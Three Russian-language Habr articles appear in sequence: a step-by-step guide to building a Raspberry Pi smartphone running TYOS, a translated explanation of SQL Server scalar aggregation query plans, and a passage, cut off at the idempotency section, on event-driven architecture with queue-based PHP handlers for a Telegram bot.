# Собираем свой собственный смартфон
Это руководство описывает от начала до конца конструирование своего собственного смартфона. Начинается дело с печати на 3D-принтере корпуса, затем спаиваются печатные платы, всё это дело собирается, и, в конце концов, на смартфон устанавливается мобильная операционная система, и с помощью языка программирования Python она становится персонально Вашей. Вы можете ознакомиться с подробностями о данном проекте по [ссылке](http://hackaday.io/project/5083).
Необходимые навыки:
— базовые навыки пайки;
— знакомство с Raspberry Pi.
Или:
— много свободного времени и терпения.
**Шаг 1: Собираем необходимые материалы**
Перед тем, как начать, давайте-ка закажем все компоненты, которые нам потребуются. Итак, вам потребуются следующие электронные компоненты и печатные платы (в России компоненты можно приобрести, например, в [таких магазинах](http://electronshik.ru/)):
1. [Raspberry Pi A+ 256MB](http://www.amazon.com/Raspberry-Pi-Model-A-256MB/dp/B00PEX05TO/ref=sr_1_1?ie=UTF8&qid=1426789594&sr=8-1&keywords=Raspberry+pi+a%2B)
2. [модуль GSM Adafruit FONA uFL Version](https://www.adafruit.com/product/1946)
3. [3.5' PiTFT сенсорный экран](https://www.adafruit.com/product/2097)
4. [Raspberry Pi Camera 5MP](http://www.amazon.com/Raspberry-5MP-Camera-Board-Module/dp/B00E1GGE40/ref=sr_1_1?ie=UTF8&qid=1426789794&sr=8-1&keywords=raspberry+pi+camera)
5. [преобразователь Powerboost 500 Basic](https://www.adafruit.com/product/1903)
6. [GSM антенна](https://www.adafruit.com/product/1991)
7. [1В 8Ом динамик](https://www.adafruit.com/products/1890)
8. [адаптер USB — Wifi](http://www.amazon.com/Edimax-EW-7811Un-150Mbps-Raspberry-Supports/dp/B003MTTJOY/ref=sr_1_1?s=pc&ie=UTF8&qid=1426790149&sr=1-1&keywords=wifi+adapter)
9. [электретный микрофон](https://www.adafruit.com/product/1935)
10. [1200мА литий-ионная батарея](https://www.adafruit.com/product/258)
11. 4-40 x 3/8' винты
12. M2.5 x 5mm винты
13. M2.5 x 20mm винты
14. M2 x 5mm винты
15. [ползунковый переключатель](https://www.adafruit.com/product/258)
16. провода
Ну а пока вы ждете доставки заказа со всем перечисленным, можно напечатать корпус.
**Шаг 2: Печатаем корпус на 3D принтере**
Корпус смартфона состоит из двух частей, напечатанных на 3D принтере: верхней и нижней (ну или передней и задней, это смотря как на него посмотреть). Скачать файлы .stl вы можете с ресурса [thingiverse](http://www.thingiverse.com/thing:752746). Ну а если у вас нет 3D принтера, то можете заказать печать какой-нибудь компании, которая предоставляет подобные услуги (например, Shapeways). И да, если вы хотите сделать корпус более индивидуального дизайна, можете скачать проект для Solidworks с моей странички на [github](https://github.com/spadgenske/tyfone).
**Шаг 3: Основная сборка**
Теперь давайте соединим всё вместе. На диаграмме изображен Raspberry Pi. Вместо того, чтобы сразу подключаться к нему, подключите провод к 26 контакту на PiTFT. Теперь дальше.
1. Присоедините контакт «bat» на модуле GSM (Adafruit FONA) к такому же контакту на преобразователе (PowerBoost).
2. Припаяйте провод от контакта GND (земля) на модуле GSM к такому же контакту на преобразователе.
3. Припаяйте провод от контакта GND на преобразователе к одному из контактов полузнкового переключателя.
4. Также присоедните контакт GND от преобразователя к «земле» дисплея PiTFT (Такая же распиновка первых 26 контактов, как у Raspberry Pi, обратите внимание, что стрелка и «1» обозначаются первый контакт).
5. Присоедините 5В линию от преобразователя к 5В линии дисплея.
6. Припаяйте провод от центрального контакта ползункового переключателя к контакту «EN» (Включено) на преобразователе.
7. Припаяйте провод от контакта «KEY» на модуле GSM к контакту 12 (GPIO 18) на дисплее.
8. Поместите дисплей над Raspberry Pi.
9. Перепроверьте все соеднинения!
**ВНИМАНИЕ: Пока проходит тестирование, убедитесь, что 5В разъем micro USB не подключен. Raspberry Pi уже запитан от батареи.**
Если вы переключите ползунковый переключатель, светодиоды на преобразователе должны загореться и Raspberry Pi должен включиться. Подсветка дисплея также должна включиться. Если у вас на SD карте Raspberry Pi настроена отправка картинки на дисплей, то она должны отобразиться на нем. В противно случае, дисплей будет просто гореть белым, что на данный момент тоже пойдет. Скорее всего, на модуле GSM не загорятся светодиоды. Чтобы его включить, удерживайте кнопку включения на нем в течении пары секунд. Или подайте сигнал на разъем GPIO 18 на Raspberry Pi в течении того же времени. Если вам удалось запитать Raspberry Pi, дисплей и модуль GSM от батареи, пора переходить к следующему шагу.
**Шаг 4: Финальная сборка**
После того, как мы подключили питание, можно завершить подключение модулей к Raspberry Pi, а также подключить динамик и микрофон. Давайте начнем.
1. Припаяйте контакт динамика «spk +» (8Ом) к контакту «spk -» на модуле GSM. Полярность не имеет значения.
2. Припаяйте красный провод микрофона к контакту Mic + на модуле GSM.
3. Припаяйте черный провод микрофона к контакту Mic — на модуле GSM.
4. Подключите контакт «RI» (Индикатор звонка) на модуле GSM к контакту 7 (GPIO 4) на дисплее.
5. Подключите TX на модуле GSM к контакту 10 (RX) на дисплее.
6. Припаяйте RX модуля GSM к контакту 8 (TX) на дисплее.
7. Соедините Vio и bat на модуле GSM. При желании, можете использовать линию 3v3 на Raspberry Pi.
8. Закрепите uFL антенну к соединителю uFL на модуле GSM.
9. Перепроверьте все соединения!
Если вы попытаетесь все включить сейчас, то поведение устройства должно быть аналогичным, как на предыдущем шаге. На следующем шаге мы установим сим-карту в модуль GSM, что позволит устройству контактировать с сотовой сетью.
**Шаг 5: Установка сим-карты**
Теперь, когда соединение модулей завершено, можно установить сим-карту, чтобы модуль GSM мог контактировать с сотовой сетью. Данный модуль использует сети 2G для передачи данных, например T-Mobile. Обратите внимание, что модуль не работает с сетями 3G и 4G. AT&T планирует отключить поддержку 2G сетей к 2016 году, так что мы будем использовать сим-карту T-Mobile. Данный модуль GSM использует сим-карту стандартного формата, так что микро или нано сим-карты сюда не пойдут. Активируйте карту согласно инструкциям оператора. Затем установите сим-карту в модуль GSM и включите его. Если красный светодиод модуля будет моргать каждые 3 секунды, значит он подключился к сотовой сети! На следующем шаге мы установим программное обеспечение, чтобы Raspberry Pi смог общаться с модулем GSM.
**Шаг 6: Установка SD карты**
Теперь, когда все железо собрано, можно приступить к настройке взаимодействия Raspberry Pi со всем этим хозяйством. Начните с прошивки последней версии PiTFT OS на SD карту Raspberry Pi. [Жмите сюда чтобы скачать](http://adafruit-download.s3.amazonaws.com/2015-02-16-raspbian-pitft35r_150312.zip). Когда SD карта готова, установите ее в Raspberry Pi и включите его. Вам понадобится утилита raspi-config. Вот несколько вещей, которые потребуется настроить:
1. Развернуть файловую систему.
2. Включить поддержку камеры.
3. Выключить serial port. Так Raspberry Pi сможет общаться с модулем GSM.
4. Включить ssh. Это важно, поскольку в Raspberry Pi A+ есть только USB порт.
Закончите установку и перезапустите Raspberry Pi.
Напишите startx и Raspberry Pi запустит LXDE на дисплее. Чтобы войти через HDMI, напишите:
```
FRAMEBUFFER=/dev/fb0 startx
```
**Шаг 7: Установка Wifi**
У вашего телефона нет клавиатуры, так что для доступа к устройству через консоль, нужно установить wifi для подключения по ssh. Подключите Wifi адаптер к компьютеру и настройте подключение через Wifi Config. Выключите Raspberry Pi и подключите к нему Wifi адаптер. Если вам все еще не удается подключиться к Raspberry Pi по ssh, попробуйте использовать USB концентратор. Больше информации по настройке Wifi можно найти [здесь](http://www.raspberrypi.org/documentation/configuration/wireless/).
**Шаг 8: Финальная подготовка программного обеспечения**
**Тестирование модуля GSM**
Чтобы протестировать модуль GSM, установите minicom с помощью команды:
```
sudo apt-get install minicom
```
Затем запустите:
```
sudo minicom -D /dev/ttyAMA0 -b 9600
```
Должен открыться терминал по взаимодействию с устройствами через ком-порт. Если вы напишете:
```
AT
```
в ответ должны получить «ОК». Если не получили, то проверьте все соединения. Если же получили, значит модуль GSM готов к работе.
**Поворот экрана**
Вы могли заметить, что текст на экране показывается боком, а не ориентируется на положение телефона. Давайте изменим это с помощью команды:
```
sudo nano /etc/modprobe.d/adafruit.conf
```
Измените в файле значение параметра «rotate» на 180.
Наконец, чтобы добавить LXDE в автозагрузку, следуйте описанию в [инструкции](https://learn.adafruit.com/adafruit-pitft-28-inch-resistive-touchscreen-display-raspberry-pi/extras#boot-to-x-windows-on-pitft).
**Установка программного обеспечения для камеры**
Теперь давайте установим программное обеспечение, которое помогает снимать фото камерой Raspberry Pi. Для начала напишите:
```
sudo apt-get install python-pip
```
Установка камеры:
```
sudo pip install picamera=0.8
```
Наконец, загружаем программное обеспечение:
```
git clone https://github.com/spadgenske/adafruit-pi-cam
```
**Шаг 9: Установка TYOS**
TYOS — это операционная система для мобильных устройств (Технически, модифицированная версия Raspbian — это операционная система, а TYOS — это только графическая оболочка), дающая возможность телефону отправлять и получать sms сообщения, а также делать звонки. В консоли напишите:
```
wget https://github.com/spadgenske/TYOS/archive/0.1.0.zip
```
Распакуйте архив:
```
unzip 0.1.0.zip
```
Для запуска TYOS напишите:
```
sudo python /home/pi/tyos/src/main.py
```
Когда TYOS запустится, убедитесь, что все работает путем отправления sms и совершения звонка. Когда вы убедитесь, что все в порядке, можно установить TYOS в автозагрузку.
Напишите
```
sudo nano /etc/rc.local
```
чтобы открыть конфигурационный файл. Внизу, после текста и до строчки «exit 0», добавьте следующий текст:
```
sudo python /home/pi/tyos/src/main.py --power
```
Теперь перезапустите Raspberry Pi. TYOS должен стартовать при загрузке устройства!
**Шаг 10: Собираем всё вместе**
Теперь можно всё надежно упаковать в корпус.
1. Используя горячий клей, приклейте микрофон и динамик в разъемы под них.
2. Используя винты M2, закрепите камеру. Потребуется соединить ленточным кабелем камеру и Raspberry Pi, так что разместите ее подходящим образом.
3. Используя винты M2.5, закрепите Raspberry Pi вместе с установленной SD картой и адаптером Wifi вниз корпуса.
4. Присоедините ленточный кабель камеры с Raspberry Pi.
5. Также используя винты M2.5, закрепите модуль GSM с сим картой в корпус.
6. При укладке проводом убедитесь, что они не мешают никакой другой электронике.
7. Оберните преобразователь изолентой, чтобы избежать короткого замыкания.
8. Поместите преобразователь и батарею между Raspberry Pi и дисплеем.
9. С помощью горячего клея приклейте ползунковый переключатель в разъем, предназначенный для него вверху корпуса.
10. Используя винты 4-40, соедините верхнюю и нижнюю часть корпуса вместе.
11. Проверьте все соединения.
Мои поздравления! Вы только что собрали свой собственный смартфон! Если вам не по душе телефон, называющийся «tyfone», можете поменять лого в /home/pi/tyos/graphics/logo.png на любое, какое пожелаете. | https://habr.com/ru/post/255047/ | null | ru | null |
# Агрегация
По материалам статьи Craig Freedman: [Aggregation](https://docs.microsoft.com/en-us/archive/blogs/craigfr/aggregation)
Агрегация относится к таким операциям, когда больший набор строк свёртывается в меньший. Типичные агрегатные функции - COUNT, MIN, MAX, SUM и AVG. SQL Server поддерживает также и другие агрегаты, типа STDEV и VAR.
Я собираюсь посвятить этой теме несколько статей. В этой статье, я сосредоточусь на "Скалярных Агрегатах". Скалярные агрегаты - запросы с агрегатными функциями в списке оператора SELECT и без предложения GROUP BY. Скалярные агрегаты всегда возвращают одну строку.
### Скалярные агрегаты
Существует только один оператор скалярной агрегации: Stream Aggregate - статистическое выражение потока. Например:
```
create table t (a int, b int, c int)
select count(*) from t
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1004]=CONVERT\_IMPLICIT(int,[Expr1005],0)))|--Stream Aggregate(DEFINE:([Expr1005]=Count(\*)))|--Table Scan(OBJECT:([t])) |
Это своеобразный "*Hello World!*" в агрегации, статистическое выражение потока только и делает, что считает число строк на входе и возвращает результат подсчёта. Фактически, статистическое выражение потока вычисляет count ([Expr1005]) как bigint. Вычисляемый скаляр тут необходим для того, чтобы конвертировать результат в ожидаемый на выходе тип int. Обратите внимание, что скалярное статистическое выражение потока - это практически единственный пример (я не могу придумать ещё один такой прямо сейчас) нелистового оператора, который может выдать строку на выход даже для пустого входного набора.
Легко показать, как работают и другие простые скалярные агрегатные функции, такие как: MIN, MAX и SUM. Также мы можем вычислять сразу несколько скалярных агрегатов, используя всего одно статистическое выражение потока:
```
select min(a), max(b) from t
```
| |
| --- |
| |--Stream Aggregate(DEFINE:([Expr1004]=MIN([t].[a]), [Expr1005]=MAX([t].[b])))|--Table Scan(OBJECT:([t])) |
В этом плане считывается каждая строка таблицы "t", и отслеживается минимальное и максимальное значение столбцов "a" и "b" соответственно. Обратите внимание, что для агрегатов MIN и MAX нет необходимости приводить результат к нужному типу, так как типы этих агрегатов вычислены на основе типов столбцов "a" и "b".
Такие агрегаты, как AVG, фактически рассчитываются на основе двух других агрегатов: SUM и COUNT:
```
select avg(a) from t
```
|--Compute Scalar(DEFINE:([Expr1004]=CASE WHEN [Expr1005]=(0) THEN NULL
ELSE [Expr1006]/CONVERT\_IMPLICIT(int,[Expr1005],0) END))
|--Stream Aggregate(DEFINE:([Expr1005]=COUNT\_BIG([t].[a]), [Expr1006]=SUM([t].[a])))
|--Table Scan(OBJECT:([t]))
На этот раз во время вычисления скаляра также вычисляется среднее, для которого вычисляется сумма и общее число. Выражение CASE необходимо для исключения деления на ноль.
Хотя для SUM необходимость этого и не очевидна, но дополнительно выполняется подсчёт строк:
```
select sum(a) from t
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1004]=CASE WHEN [Expr1005]=(0) THEN NULL ELSE [Expr1006] END))|--Stream Aggregate(DEFINE:([Expr1005]=COUNT\_BIG([t].[a]), [Expr1006]=SUM([t].[a])))|--Table Scan(OBJECT:([t])) |
Выражение CASE использует общее число строк для гарантии того, что если на входе будет пустое множество, SUM возвратит вместо нуля - NULL.
### Скалярный DISTINCT
Теперь давайСкалярный DISTINCT посмотрим, что случается, если ли мы добавим к агрегату ключевое слово DISTINCT:
```
select count(distinct a) from t
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1004]=CONVERT\_IMPLICIT(int,[Expr1007],0)))|--Stream Aggregate(DEFINE:([Expr1007]=COUNT([t].[a])))|--Sort(DISTINCT ORDER BY:([t].[a] ASC))|--Table Scan(OBJECT:([t])) |
Этот запрос должен сосчитать только те строки, которые имеют уникальное для столбца "a" значение. Для устранения дубликатов строк с одинаковыми значениями в столбце "a" используется оператор сортировки. Дубли строк будут просто удалены из вывода, найти их не трудно, поскольку после сортировки полученного на входе набора дубликаты будут смежными записями.
Не все DISTINCT агрегаты требуют устранения дубликатов. Например, MIN и MAX ведут себя точно так же и без ключевого слова DISTINCT. Минимальные и максимальные значения в наборе остаются теми же самыми, не смотря на то, есть ли в наборе дубликаты или нет.
```
select min(distinct a), max(distinct b) from t
```
| |
| --- |
| |--Stream Aggregate(DEFINE:([Expr1004]=MIN([t].[a]), [Expr1005]=MAX([t].[b])))|--Table Scan(OBJECT:([t])) |
Если имеется уникальный индекс, устранение дубликатов тоже можно пропустить, так как индекс гарантирует, что дубликатов нет:
```
create unique index ta on t(a)
select count(distinct a) from t
drop index t.ta
```
| |
| --- |
| |--Compute Scalar(DEFINE:([Expr1004]=CONVERT\_IMPLICIT(int,[Expr1007],0))) |--Stream Aggregate(DEFINE:([Expr1007]=COUNT([t].[a]))) |--Index Scan(OBJECT:([t].[ta])) |
### Несколько DISTINCT
Рассмотрим такой запрос:
```
select count(distinct a), count(distinct b) from t
```
Как было показано выше, мы можем вычислить "count(distinct a)", устраняя дубликаты строк для столбца "a". Точно так же мы можем вычислить "count(distinct b)", устраняя дубликаты строк для столбца "b". Но это при условии, что эти оба набора строк различны. Как можно вычислить оба дистинкта в одно и то же время? Ответ - мы не можем. Мы должны сначала вычислить одну составляющую результата, а потом другую, и затем нужно объединить оба результата в одну строку для вывода:
| |
| --- |
| |--Nested Loops(Inner Join)|--Compute Scalar(DEFINE:([Expr1004]=CONVERT\_IMPLICIT(int,[Expr1010],0)))| |--Stream Aggregate(DEFINE:([Expr1010]=COUNT([t].[a])))| |--Sort(DISTINCT ORDER BY:([t].[a] ASC))| |--Table Scan(OBJECT:([t]))|--Compute Scalar(DEFINE:([Expr1005]=CONVERT\_IMPLICIT(int,[Expr1011],0)))|--Stream Aggregate(DEFINE:([Expr1011]=COUNT([t].[b])))|--Sort(DISTINCT ORDER BY:([t].[b] ASC))|--Table Scan(OBJECT:([t])) |
Для двух входных наборов выполняется подсчёт как в оригинальном запросе, и они соединяются вложенным циклом. Один входной набор удаляет дубликаты для столбца "a", другой для столбца "b".
Соединение вложенных циклов не имеет предиката соединения; это перекрестное соединение. Используя оба вводных набора, соединение вложенных циклов выдаёт одну строку с двумя скалярными агрегатами (результат перекрестного соединения - одна строка). Перекрестное соединение нужно только для того, чтобы "склеить" два столбца результата в одну строку.
Если мы имеем больше двух разных агрегатов по разным столбцам, будет использоваться более одного перекрестного соединения. План может быть похож на тот, который мы только что рассмотрели, если в запросе соединены DISTINCT агрегаты и не-DISTINCT агрегаты. В этом случае, один из входных потоков перекрестного соединения будет агрегироваться без сортировки.
В следующей статье, я напишу об агрегатах с предложением GROUP BY. | https://habr.com/ru/post/658469/ | null | ru | null |
# В очередь, ...! Как управлять состоянием системы через события
Х/ф «Собачье сердце»Существует множество разных подходов к построению архитектуры серверных приложений. В данной статье рассмотрим Event-driven архитектуру (она же событийно-ориентированная). Рассмотрим основные принципы, как перейти от связей Компонент А <-> Компонент В, к связям через события Компонент А -> Событие B -> Компонент B, и зачем это нужно.
### Немного скучной теории
Любое программное обеспечение можно представить в очень упрощённом виде:
рис. 1У нас есть программа, которая реализует некоторую бизнес-логику. В подавляющем большинстве случаев, программа не работает сама по себе в вакууме. Она берет определенные данные (входящие данные), некоторым образом их преобразует и отдает вовне (исходящие данные).
Входящими данными могут быть:
* Файлы на диске;
* Пользовательский ввод;
* Данные полученные по сети;
* Данные полученные от другой программы;
* И т.д.
Исходящими данными могут быть:
* Данные отображаемые на мониторе;
* Распечатка на бумаге;
* Данные переданные по сети;
* Запись в БД.
* И т.д.
Конечно, реальные системы намного сложнее. Они делятся на кучу подсистем и компонентов, которые связаны между собой:
рис. 2В данном примере компонентами системы являются блоки A-I.
Между ними есть связи, которые обозначают обмен данными между компонентами. Так, каждая связь является исходящими данными для одного компонента и входящими для другого.
Компоненты A и B принимают данные извне.
Компоненты H и I отдают данные наружу.
На этой схеме можно заметить, что главным связующим элементом нашей системы, состоящей из разрозненных компонентов, являются данные. То, как эти данные двигаются из одних компонентов в другие, отображают связи в нашей системе.
В процессе разработки мы структурируем наши данные, описывая их в привычные нам модели/сущности, которые перетекают в том или ином виде между компонентами.
В больших и сложных системах потоки данных могут быть очень разветвлёнными и иногда даже запутанными. Для того, чтобы упростить схему связей между компонентами, мы можем ориентироваться не на то, какие данные и в какой компонент нужно передавать, а на события, которые происходят с нашими данными, то есть с сущностями.
**Event-driven (или событийно-ориентированная) архитектура основана на событиях, которые происходят с сущностями в нашей системе.**
Например, рассмотрим небольшую часть системы, отвечающую за создание заказа:
рис. 3У нас есть несколько точек создания заказа: веб-сайт, мобильное приложение и публичное API (для наших партнеров). Для каждого канала у нас есть специфичные для него действия, это могут быть вещи связанные с аналитикой или чем-то еще, что нам важно внутри нашего бизнес-процесса.
Дальше у нас есть некоторый процессор, который обрабатывает сам заказ: передает информацию о нем на склад для компоновки, начисляет бонусы клиенту, записывает заказ в историю клиента, считает статистику и т.д. Причем действия, связанные с компонентами склада, бонусов и истории, могут вызываться и из других частей нашей системы. Это создает сильную связность системы, усложняет её поддержку и дальнейшее расширение.
Если мы переходим на событийно-ориентированную архитектуру системы, эта схема могла бы выглядеть следующим образом:
рис. 4Каждая точка создания заказа (веб-сайт, мобильное приложение и публичное API) генерирует **событие** создания заказа. Эти события складываются в выделенный для них канал, который слушает специальный обработчик (event handler A).
Наш Event Handler A принимает событие и создает на основе него три новых события, адресованных для разных подсистем: Склада (Handler B), Бонусов (Handler C) и Истории (Handler D), и отправляет их в соответствующие каналы. В эти каналы события могут поступать из разных источников, но для соответствующих обработчиков они являются единственной точкой входа. В такой архитектуре мы можем выделить основные элементы:
* Сущность (Order, User, etc.);
* Событие, связанное с сущностью (Order create event, etc.);
* Генератор событий (Web-сайт, Mobile app, etc.);
* Канал событий (Event channel B, etc.);
* Обработчик событий (Event handler A, etc.).
Такой подход позволяет нам сильно уменьшить связность нашей системы и упростить её поддержку и расширяемость. Также это позволяет обрабатывать тяжелые операции независимо друг от друга в асинхронном формате.
### Основные элементы архитектуры
**Сущность** — любая сущность в системе, которая имеет некоторое состояние. Обычно является моделью в нашей системе. Примерами могут быть: заказы, пользователи, сообщения, корзина покупок и т.д.
**Событие** — событие может произойти при создании/удалении сущности или изменения её состояния. Примеры: создание заказа, смена его статуса, регистрация пользователя, добавление товара в корзину, прочтение сообщения, отмена заказа, удаление товара из корзины и т.д. Каждое событие представляет из себя простую структуру, которая содержит тип события и данные, которые позволяют это событие нужным образом обработать. В нашем случае это может быть простой JSON объект:
```
{
"event_type": "order_create",
"data": {
"order_id": 12345
}
}
```
**Генератор событий** — компонент системы, который реализует логику создания или изменения состояния сущности. Например, веб-форма оформления заказа создает сущность заказа и генерирует соответствующее событие.
**Канал событий** — механизм передачи события от его генератора к обработчику. Это может быть специальный файл, сеть, очередь, БД.
**Обработчик** — компонент, который принимает события из канала, и реализует некоторую бизнес-логику обработки этих событий. В рамках бизнес-логики обработчика могут быть сгенерированы новые события и отправлены в соответствующие каналы. Тем самым мы можем получить целый каскад из каналов и их обработчиков, как это показано на рисунке 4.
### Где применим данный подход
Исходя из рассмотренного нами примера, можно сделать вывод, что такая архитектура хорошо показывает себя в больших системах, где есть тяжелая бизнесс логика, которая может быть декомпозирована на последовательные или параллельные шаги выполнения. Там, где нам не требуется синхронного взаимодействия с клиентами. То есть в большинстве систем :)
Данный подход не требует полного переписывания проекта с нуля, он может внедряться в уже существующих системах, построенных на (микро)сервисной архитектуре или в монолитах. Основная задача — разбить связи между компонентами Компонент А → Компонент Б, переведя их на схему: Компонент А, генерация события → канал → обработчик Компонента Б.
Как бы это могло выглядеть в (микро)сервисной архитектуре:
рис. 5И как бы это могло выглядеть в рамках монолита:
рис. 6¯\\_(ツ)\_/¯
### Поговорим про инструменты
В рамках данной статьи будет очень сложно глубоко рассмотреть различные инструменты и провести их сравнительный анализ. Однако, я попробую рассмотреть в общих чертах инструменты и технологии, которые мы можем использовать для построения событийно-ориентированной архитектуры в рамках PHP-стека.
#### Сущности, события, генераторы
Кажется, здесь всё выглядит достаточно просто: берем свой любимый фреймворк (symfony, laravel, yii, свой самописный велосипед) и разрабатываем на нём.
#### Каналы событий
Так как нам нужно передавать данные между компонентами/сервисами, будем использовать подходящие для этого инструменты:
* RabbitMQ — популярный брокер очередей, который позволяет строить сложный роутинг сообщений в очередях.
* Kafka — event-streaming платформа, которая позволяет пропускать через себя огромное количество событий, сохранять их и переиспользовать в будущем, а также при необходимости заново обрабатывать, начиная с какого-то определенного события в прошлом.
* Redis — in-memory key-value СУБД, которая из коробки поддерживает кучу структур данных и операций с ними, на основе которых можно строить собственные реализации очередей. А если не хватает функциональности из коробки — её можно расширить самописными Lua-скриптами.
* SQS — если вы пользуетесь облачной инфраструктурой, можно попробовать SQS или его аналоги. Простой инструмент, которым можно пользоваться из коробки, не нужно заморачиваться с установкой и настройкой — берёте и используете. Облачный провайдер берёт заботы по администрированию на себя.
Выбираем любой из тех, которые мы знаем. Если ничего из этого не знаем — гуглим документацию. Благо для базового использования очередей нам не нужно иметь глубокой экспертизы по какому-то конкретному инструменту. Для любого фреймворка можно найти соответствующую библиотеку.
#### Обработчики событий
А теперь самое интересное: как же нам обрабатывать информацию из очередей? Самым очевидным решением являются демоны — программы/скрипты, которые работают в фоне в системе, они постоянно считывают информацию из очереди, и при получении сообщения оттуда — обрабатывают его.
Все мы знаем, что PHP был создан для того, чтобы постоянно умирать :)
Каждый раз, когда к нам приходит запрос от клиента, мы поднимаем PHP-скрипт, в рамках его выполнения отрабатывает бизнес-логика, после чего скрипт завершает свою работу.
Для того, чтобы скрипт запустился, достаточно реализовать нашу бизнес-логику внутри бесконечного while цикла.
```
php
while(true) {
doSomething();
}</code
```
С 7-ой версии PHP это стало работать достаточно стабильно, память перестала постоянного утекать в неизвестном направлении, но конечно же, такого простого хака не хватает для того, чтобы получить полноценных демонов. Нам нужно правильным образом научиться управлять нашими демонами: запускать и останавливать в безопасной точке, чтобы не прерывать исполнение нашей бизнес-логики где-то на середине задачи. Если наш скрипт по какой то причине умрёт, он должен автоматически перезапускаться.
Я не буду останавливаться на реализации всей этой функциональности демонов, так как это выходит за рамки текущей статьи, благо для каждого современного фреймворка уже существует ни одна реализация команд демонов.
Также можно посмотреть в сторону таких проектов как [ReactPHP](https://reactphp.org/), [roadrunner](https://roadrunner.dev/), либо за пару вечеров накидать свою реализацию демонов на PHP и process manager для них, который будет соответствовать вашим требованиям.
### Пишем своего чат-бота на event-driven архитектуре
Пользователь пишет нашему погодному боту в Telegram сообщение «Привет бот! Какая завтра погода?». Telegram отправляет нашему серверу вебхук о полученном сообщении. Мы должны обработать этот вебхук и отправить пользователю по Telegram API нужный ответ.
рис. 7Как мог бы выглядеть обычный контроллер по обработке вебхука от Telegram?
```
php
class WebhookController {
public function actionHandle()
{
// Получаем и валидируем входящие данные (вебхук)
$input = $this-getHttpInput();
if (false === $this->validateInput($input)) {
throw new HttpException('Wrong data', 400);
}
// Создаем нашу сущность Message на основе данных из вебхука
$message = MessageBuilder::build($input);
$message->save(); // сохраняем в БД
// Добавляем сообщение в движок полнотекстового поиска
FullTextSearch::addToIndex($message);
// Считаем статистику с учетом нового сообщения
Statistics::add($message);
// Проверяем текст сообщения, если там есть запрос на погоду
// идем во внешнее API, запрашиваем погоду на завтра.
// После этого отправляем прогноз погоды
// пользователю через Telegram API
if (TextMatch::contains($message->text, 'погода')) {
$weather = WeatherAPI::getTomorrowWeather();
TelegramAPI::send($message->userId, $weather);
}
// Отвечаем платформе Telegram, что успешно обработали сообщение
return HttpResponse('ok', 200);
}
}
```
Да, здесь максимально упрощенная реализация, зато она наглядно показывает, что здесь происходит. Мы видим, что здесь выполняются 6 последовательных действий, до того как клиент в виде Telegram-платформы получит от нас ответ, что мы обработали вебхук.
* Получение и валидация входящих данных;
* Создание и сохранение сущности Message в БД;
* Добавление сущности Message в движок полнотекстового поиска;
* Подсчет статистики;
* Запрос прогноза погоды из стороннего сервиса;
* Отправка сообщения с прогнозом погоды пользователю в Telegram.
Некоторые из этих действий могут быть достаточно ресурсоёмкими и выполняться продолжительное время. Особенно подсчёт и агрегация статистики, запросы к сторонним сервисам. Пока все эти действия будут последовательно обрабатываться, клиент будет держать соединение с сервером в ожидании ответа. Долгое ожидание ответа не всегда приемлемо для работы со сторонними сервисами. А что будет, если нагрузка на этот endpoint будет 100 RPS? 10’000 RPS? В какой-то момент наш сервер просто перестанет принимать новые подключения, так как весь пул будет исчерпан.
Поразмыслив над этой ситуацией, мы можем прийти к выводу, что нашему клиенту (в лице Telegram-платформы) абсолютно все равно, что мы делаем с полученным вебхуком. Единственное, что он хочет знать — получили ли мы сообщение с вебхуком. Это применимо для любой обработки вебхуков. В примере с заказом в интернет магазине нашему клиенту важно знать, что мы получили его заказ, и ему не нужно ждать пока мы этот заказ реально обработаем на стороне склада и других связанных компонентов. Соответственно, все операции мы можем делать асинхронно, не удерживая соединение с клиентом.
рис. 8Мы принимаем вебхук от Telegram-платформы, складываем его в соответствующую очередь (Событие: вебхук пришел), и сразу же отдаем успешный ответ клиенту.
Дальше у нас есть некий WebhookProcessor, который считывает сообщения из очереди вебхуков: валидирует их, создает на основе них сущности Message и сохраняет их в БД.
```
php
class WebhookController {
public function actionHandle()
{
// Получаем и валидируем входящие данные (вебхук)
$input = $this-getHttpInput();
// Закидываем в очередь наш вебхук
Queue::push('WebhookCreate', $input);
// Отвечаем платформе Telegram, что успешно обработали сообщение
return HttpResponse('ok', 200);
}
}
```
Теперь наш контроллер по обработке вебхуков выглядит так. Логика максимально простая, клиент получает ответ максимально быстро.
Дальше нам нужно обработать очередь событий WebhookCreate.
```
php
class WebhookHandler
{
public function daemon() {
// Запускаем скрипт в качестве демона, который постоянно крутится в фоне
while($this-isSafePoint()) {
$webhook = Queue::pull('WebhookCreate');
if (null === $webhook) {
sleep(1);
continue;
}
if (false === $this->validateInput($webhook)) {
Log::error('Invalid webhook format');
continue;
}
// Создаем нашу сущность Message на основе данных из вебхука
$message = MessageBuilder::build($webhook);
$message->save(); // сохраняем в БД
//Генерируем соответствующие события
Queue::push('FullTextSearchIndexAdd', $message);
Queue::push('StatisticsAdd', $message);
Queue::push('WeatherAPIRequest', $message);
}
}
}
```
Для каждой очереди с созданными событиями FullTextSearchIndexAdd, StatisticsAdd, WeatherAPIRequest нам нужно создать свой обработчик.
```
php
class FullTextSearchIndexAddHandler {
...
}
class StatisticsAddHandler {
...
}
class WeatherAPIRequestHandler {
public function daemon() {
while($this-isSafePoint()) {
$message = Queue::pull('WeatherAPIRequest');
if (null === $message) {
sleep(1);
continue;
}
// Идём во внешнее API, запрашиваем погоду на завтра.
// После этого отправляем прогноз погоды
// пользователю через Telegram API
$weather = WeatherAPI::getTomorrowWeather();
TelegramAPI::send($message->userId, $weather);
}
}
}
```
Weather API request handler делает запрос во внешнее API и отправляет полученный прогноз нашему пользователю в Telegram API.
### Масштабирование
Данную схему достаточно просто горизонтально масштабировать при росте нагрузки на сервис. Рассмотрим это на примере обработки входящих вебхуков:
рис. 9Мы можем распределять большое количество получаемых вебхуков в разные очереди одного типа удобным нам способом. Например, $message→id % 10 = M, отправляем это сообщение в очередь Webhook Queue M. Обрабатываться этот вебхук будет соответственно нашим Webhook Handler M. Разные очереди и их обработчики могут жить на разных инстансах серверов независимо друг от друга. Тем самым мы получаем простое горизонтальное масштабирование.
рис. 10### Что еще важно учитывать при работе с event-driven архитектурой
#### Идемпотентность
